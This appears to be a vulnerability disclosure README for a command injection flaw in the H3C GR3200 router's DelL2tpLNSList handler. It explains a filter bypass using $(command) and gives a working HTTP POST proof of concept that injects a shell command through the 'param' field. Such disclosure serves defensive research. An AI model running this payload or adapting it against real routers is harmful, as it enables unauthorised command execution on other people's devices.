readme.md

H3C GR3200 MiniGR1B0V100R014 Has an command injection vulnerability

Overview

• Manufacturer's website information：https://www.h3c.com/
• Firmware download address ： https://www.h3c.com/cn/d_202202/1542099_30005_0.htm

Product Information

Overview of affected versions of H3C GR3200 router：

Vulnerability details

H3C GR3200 (<=MiniGR1B0V100R014) was found to contain a command insertion vulnerability in DelL2tpLNSList.This vulnerability allows an attacker to execute arbitrary commands through the "param" parameter.

Format the param parameter we entered into V15 through the snprintf function, and execute our command through the system function. Because V10 and V11 are limited to 8 bytes, we can fill V10 with 8 bytes so that when %s in the snprintf function is formatted, V10 and V11 will be connected actively.

Although the sub_100695A4 function filters some dangerous characters, we can bypass them with $(command).

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)
2. Attack with the following POC attacks

POST /goform/aspForm HTTP/1.1
Host: 192.168.124.1:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.124.1:80/maintain_basic.asp
Cookie: JSESSIONID=04f803a0
Upgrade-Insecure-Requests: 1
Content-Length: 67

CMD=DelL2tpLNSList&GO=vpn_l2tp_session.asp&param=1;$(ps>/ww w/1)	#;

The picture above shows the debug log after POC is sent.

The above illustration shows the effect of command execution.